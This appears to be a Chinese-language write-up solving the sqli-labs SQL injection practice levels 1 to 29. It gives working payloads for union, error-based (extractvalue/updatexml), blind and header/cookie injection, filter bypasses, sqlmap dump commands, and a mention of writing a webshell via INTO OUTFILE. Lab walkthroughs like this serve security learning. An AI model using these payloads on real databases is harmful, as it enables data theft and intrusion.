sql注入靶场全通关
第一关:
首先我们先判断闭合方式 我们用\来试探闭合方式
发现是单引号闭合,那我们接着就来判断 它的列数 group by 4 发现报错 group 3 发现不报错 说明它就是为3列
接着就是查库 查表 查字段 查内容了
查表
查字段
查内容
注意点:
1.在查表的时候放了个错误:
1 | ?id=0' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database(),3--+ |
这样做是会爆错的 因为在select 后面接的是列名,后面接的from information_schema.tables where table_schema=database() 就相当于这一个查询的sql语句已经完结,但是我们后面还有一个第3列,这个3没有地方可待了 就会报错,所以我们得把这个from….放在最后才行
2.在我们查内容的时候为了区分用户名跟密码时,可以在中间加上,但是要注意的时在两边加上单引号
第二关:
我们判断出这个题为没有闭合方式 ,那么接着开爆
剩下的就是十分容易了 没有过滤点
第三关:
我们可以看到\后面跟着的是’) 说明这个就是闭合方式
实验:
后面的步骤还是一样的 没有过滤 直接开整
第四关:
我们判断闭合方式为:
没有过滤 剩下的就直接爆就行了
第五关:(报错注入)
我们还是一样 照常来判断闭合方式
我们发现是单引号闭合 那么我们来试试它能不能回显出信息
这种就是典型的报错注入的模范(无正常回显,但是有报错回显)
判断出为单引号闭合
那我们就用extractvalue函数进行报错注入
select extractvalue(1,concat(0x7e,(select database())))
concat 的作用就是将第一个参数跟第二个参数连接起来
0x7e就是~的十六进制
接着就进行爆表 爆字段 爆内容了
注意:
要是回显不完全 我们可以(不建议使用limit)
limit:
1 | '" and updatexml(1,concat(0x7e,(select username from users limit 0,1),0x7e),1)--+ |
都是要注意不能跟group_concat连用 因为在我们使用了group_concat之后就只会返回一行了 limit函数的作用是查看第多少行 一次反会多少行
mid:
1 | '" and updatexml(1,concat(0x7e,mid((select group_concat(username) from users),0,31),0x7e),1)--+ |
第一个参数是要提取查询语句,第二个参数为起始位置,第三个参数为返回的字符个数 所以说:users后面接的就是闭合select的那个括号
substring/substr:
格式与mid一样
第六关:(双引号闭合)
也是报错注入 我们先判断出闭合方式 接着就是来一套组合拳了
第七关:(outfile)
我们正常输入也没有回显 我们输入\ 也没有报错文
但是题目提示了我们 去使用 outfile
我们这里没有报错信息就不能通过\来看后面的字符来判断闭合方式了,就得一个一个的试出来
口诀(判断闭合方式):
参数加符号 报错为这一类 加括号加注释慢慢试 试到不报错
单引号跟双引号不会同时存在
报错 说明是单引号类型
说明可能是存在括号的
慢慢试 找到闭合方式
outfile:
- union select+into outfile+写入路径
当设置为不做限制时,我们就可以使用这一函数(看具体要求)
要注意路径问题 我们使用两个反斜杠 是因为反斜杠 \
在 URL 中主要用于字符转义,确保特殊字符被正确识别和传递。使用双反斜杠 \\
则是为了在某些编程环境下正确地表示单个反斜杠
一句话木马:
注意在POST里面的参数不要有单引号 会跟前面的单引号优先闭合了
第八关:(布尔盲注)
当我们有语法报错的时候就没有回显了,那我们根据这个试出来闭合方式
闭合方式:
很明显这是一个布尔盲注类型,当我们遇到盲注时 手工注入是很麻烦的,我们可以用脚本帮我跑出来 也可以使用sqlmap去帮我们扫出来,但是我们还是得知道原理是什么 怎么利用回显 得到我们想要的信息
盲注步骤:
1.首先判断长度
比如,我们判断 database()当前数据库 的长度]
1 | length( database() )=1 |
2.枚举字符:
1 | ascii(substr( 查询语句 ,1,1))=32 |
第九关:(时间盲注)
就慢慢试出闭合方式
当然我们还是用工具来跑是最方便的,自己试还是很慢的
第十关:(时间盲注)
方法跟第九关类似 都是时间盲注 闭合方式为双引号
sqlmap的使用:
1.查找注入点:
1 | python sqlmap -u 地址 --level=2 --risk=2 后面两个level risk 是对其深入测试 可能有时候查不到就可以使用这个 |
2.爆库:
1 | python sqlmap -u 地址 --level=2 --risk=2 --dbs |
3.爆表:
1 | python sqlmap -u 地址 --level=2 --risk=2 -D 库名 --tables |
4.爆出所有数据:
1 | python sqlmap -u 地址 --level=2 --risk=2 -D 库名 -T 表名 --dump |
第十一关:(POST方式)
这个是单引号闭合 只不过提交方式不同而已
注意点:
当我们遇到post提交时,我们需要判断注入点在哪 就看后端的代码是怎么样提交的 我们的注入点是在第一个提交的参数上,把后面的代码注释 拼接我们的查询语句
第十二关:
闭合方式为双引号加括号闭合
万能密码可以进去 说明没问题
注意只有两列
第十三关:
闭合方式为单引号加括号
第十四关:
闭合方式为双引号 继续报错注入
第十五关:(POST类型布尔盲注)
我们可以发现并没有报错文 说明报错注入式行不通的,我们先要试出闭合方式,但是这跟get方式不一样 我们需要登录成功才会有回显(当然是我登录进去才知道的),我们可以利用万能密码进行登录 回显不一样就可以把闭合方式试出来了
我们知道闭合方式只后 就要利用ASCII函数把字符枚举出来了
当然这样是费时的,所以我们可以利用脚本来帮我们跑 或者直接使用sqlmap来跑
python脚本:
1 | import requests |
sqlmap跑post请求:
- 先用Burp抓包 然后将报文保存下来 例如:保存为post.txt,然后把它放至某个目录下
然后
1 | python sqlmap.py -r "路径" -p n --dbs 爆数据库 |
-r表示加载一个文件,-p指定参数(例如id这样的注入点)
第十六关:(POST时间盲注)
我的环境出问题了 奶奶的死活注释不掉
第十七关:
这一关一开始做不出来 然后我就去源码加了个echo函数
它这个是会检查输入的 它的闭合方式会随着你的输入然后补充一个转义符 使你的闭合字符失效
因为对username参数方式太严格了 所以我们得改变策略 试试password
加了个反斜杠 有报错 那我们就用报错注入就很好做了
第十八关:(Header头注入)
这一关跟上一关一样 但是把用户名跟密码都防死了,所以我们得想别的办法 根据题目提示就是头注入 可以去搜一搜资料
我们先登录进来,发现蓝字 它得到了我们的信息 说明在我们登录成功之后 它把我们的信息写入了数据库在中 那与数据库交互了,说明我们就存在可能可以进行sql注入,那我们可以来试试
根据它的回显,它是写入了我们User-Agent信息
那我们在后面加个单引号发现,有sql语句报错,那我们就接着判断闭合方式,然后进行报错注入就行了
它原本的句子应该是 xxx( a,b ,c ) xxx (‘$a’,’$b’,’$c’) 因为在报错文当中有我们的ip信息 还有用户名 所以我们想要完成闭合,就应该把这整个句子都完成闭合
报错没有了 说明分析是对的,那我们就接着语句进行报错注入
第十九关:
有了上一关的铺垫,那么这一关就好做很多了
我们可以看到注入点在Referer
构造闭合:完成报错注入
第二十关:(cookie注入)
看题目 提示为cookie注入
换汤不换药,我们上bp
注意的是 不是抓我们直接上传的那个包 而是含有cookie的包
是下面这个
那我们就接着来试闭合
有报错信息,那我们思路明确 报错注入
第二十一关:
我们根据题目提示 还是cookie注入
bp上号 抓包
我们可以看到cookie本来应该是admin 但是现在是base64编码后的,所以直接加闭合符是没有用的 我们需要把整体进行base64编码才可以
在这里就可以直接进行编码了,很方便
发现有报错文,那就报错注入
第二十二关:
还是一种题型就不废话了
单引号不报错 说明不是单引号类型的 那我们就试试双引号
第二十三关:(注释符过滤)
经过尝试,我们发现注释符被过滤了# –+ 都用不了
骚姿势:
不难看出 查询语句是这样的:
xxxxx ‘$id’ LIMIT 0,1”;
构造之后: 1‘ group by 3 and ‘1
xxxxxx ’1‘ group by 3 and ‘1’ LIMIT 0,1”;
完美闭合 接下来的就很容易了
还有一种方法: xxxxx ‘$id’ LIMIT 0,1”;
1’ group by 3;%00
xxxxx ‘1’ group by 3;%00
%00的作用就是停止读取 就相当于注释符了
第二十四关:(二次注入)
二次注入:字面意思就是我们得间接注入
你会发现不管怎么输入,要是登录不了那就会跳转到另外一个界面,所以我们得要转变思路 还有两个按钮 忘记密码那个点进去没有用,那做题的关键就在 创建用户了,我们来创建一个用户
如果其他的题目单引号不行,就试双引号,就只能慢慢试的,没有什么好办法
我们发现可以成功登录 这里我们就猜测 修改密码的逻辑是:
xxxxxxx password= ‘password’ where username= ‘username’
本来我们想改的是admin’#这个用户的密码 但是这个二次注入之后 我们就改成了admin用户的密码 十分神奇
第二十五关:
闭合方式为单引号闭合 但是or跟and 被过滤了
1 | ?id=0' union select 1,2,3--+ |
但是直接联合注入也用不到and 但是information这个单词里面是有一个or的 那我们就看它的过滤机制是怎么样的了
可以看到 它是把or替换为空了 那我们双写就可以绕过了
写成infoorrmation 这样就可以绕过了
第二十五关A:
方法一样 闭合方式为数字型
第二十六关:(空格过滤 注释符过滤)
空格过滤:
绕过方式
- 编码绕过
- %09 TAB键(空格)
- %0A 新建一行(空格)
- %0C 新的一页
- %0D return即回车功能 (php-5.2.17,5.3.29成功)
- %0B TAB键(垂直)
- %A0 空格 (php-5.2.17成功)
- 括号绕过
- 用()绕过 (如果可以最好是用报错注入,空格比较少)
但是在这一关就只能用括号绕过了,编码绕过要看apache解析,我的解析不了,所以就只能用括号绕过了
注意点:
在用括号绕过时,不能改变原本的运行逻辑,才能实现绕过
1 | ?id=1'||extractvalue(1,concat(0x7e,(substr((select(group_concat(database()))),1,1))))||'1 |
第二十六关A:
没有报错文了
如果没有括号就啥也执行不了,所以应该就是没有闭合的原因,我们已经判断出是单引号闭合类型 那就加括号就行
这题可以用盲注,也可以用union 注入 编码绕过是可以的,但是我的解析不了 思路是这样
第二十七关:
还是可以双写绕过 也有报错信息 那我们就选择报错注入
select好像是会检验两遍,那我们就三写绕过
1 | ?id=1'||extractvalue(1,concat(0x7e,(seseselectlectlect(group_concat(database())))))||'1 |
第二十七A:
这关没有报错信息 就不能用报错注入了 闭合方式为双引号
用盲注 或者联合注入
第二十八关:
试出闭合方式为单引号加括号
union注入 或者是盲注
该关卡过滤了注释符空格还过滤了union和select。\s表示空格+表示匹配一次或多次/i表示不区分大小写所以整体表示匹配 union加一个或多个空格加select其中union和select不区分大小。所以我们可以使用重写绕过写。
1 | ?id=0')unionunion%0Aselect%0Aselect%0A1,2,3%0Aand('1 |
第二十八A关:
闭合方式为单引号加括号
该关卡只过滤union+select。其他没有过滤。
1 | ?id=0')unionunion%0Aselect%0Aselect%0A1,2,3%0Aand('1 |
第二十九关:
我都不知道这关的限制在哪 直接最简单的语句就打进来了
大佬笔记,大家就看看到底过滤的个啥:
二十九关就是会对输入的参数进行校验是否为数字但是在对参数值进行校验之前的提取时候只提取了第一个id值如果我们有两个id参数第一个id参数正常数字第二个id参数进行sql注入。sql语句在接受相同参数时候接受的是后面的参数值。
1 | ?id=1&id=-2%27%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=database()--+ 爆表 |